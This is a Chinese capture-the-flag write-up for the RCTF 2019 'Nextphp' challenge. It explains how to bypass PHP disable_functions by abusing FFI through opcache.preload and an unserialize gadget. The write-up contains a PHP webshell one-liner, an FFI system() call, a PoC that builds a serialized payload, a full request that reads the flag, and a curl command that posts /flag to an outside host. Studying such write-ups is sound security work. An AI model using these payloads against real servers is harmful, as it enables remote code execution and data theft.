[RCTF 2019]Nextphp&&php预加载实现FFI

参考

<?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}

初看题目很简单，然后看了下phpinfo
过滤了挺多函数的，命令执行的都过滤了，然后还有open_basedir限制/var/www/html

然后可能会想一些绕过disable_function的姿势
1.LD_PRELOAD
mail,putenv,error_log全被禁了
2.Apache Mod CGI
没开

3.FFI

这里直接用ffi这个姿势不行，因为默认情况下，FFI API只能在CLI脚本和预加载的PHP文件中使用。

在本地环境 ffi.enable=preload模式下，web端也是无法执行 FFI 。将 ffi.enable 设置成 true后，发现 web 端就可以利用 FFI 了。

opcache.preload是PHP7.4中新加入的功能。此配置项定义的文件。会在服务器启动时将PHP脚本预加载。里面定义的类什么的。对所有请求都可用

这里。它就将preload.php预加载了。也解释了后面为啥index.php里可以调用preload.php的代码

然后做题，不管你是
file_put_contents('1.php','<?php eval($_POST["pass"]);?>');
上传木马，还是glob目录遍历发现了preload.php，然后去想，然后发现预加载了这个php，然后想方法构造ffi

<?php
$ffi=FFI::cdef("int system(char *command);");
$ffi->system("whoami");
?>

在A类中。只有run方法可以执行命令

   private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

如果将func变成ffi扩展。arg变成int system声明。那么this->data就成了一个带有system函数的FFI扩展。只要调用$this->data[‘ret’]->system(“whoami”)就行了

第一个调用点

__serialize()函数
return $this->data
会返回包含ret,func,arg的数组。那么我们可以通过($this->data)['ret']这种方法。取出其中ret值->system("whoami");

第二个调用点：
__get()函数
return $this->data[$key];
这就不必说了。。很明显
$this->data['ret']->system("whoami");
就可以了

然后写poc的时候还是有些地方点不太懂

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(char *command);'
    ];

    
    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

   
}

$a = new A();
echo base64_encode(serialize($a)); // 即payload

?a=unserialize(base64_decode(%27QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyICpjb21tYW5kKTsiO319%27))->__get(%27ret%27)->system(%27cat%20/flag>1%27);

或者用curlcurl -d @/flag http://VPS麻烦点

访问1就好

异或1为啥要加这两个东西


其他师傅的话
这里的EXP代码中删除了原有的 __serialize 、 __unserialize 两个函数，这是因为在反序列化时会触发 __unserialize 函数，这一特性是在PHP7.4中新加入的，具体可参考https://wiki.php.net/rfc/custom_object_serialization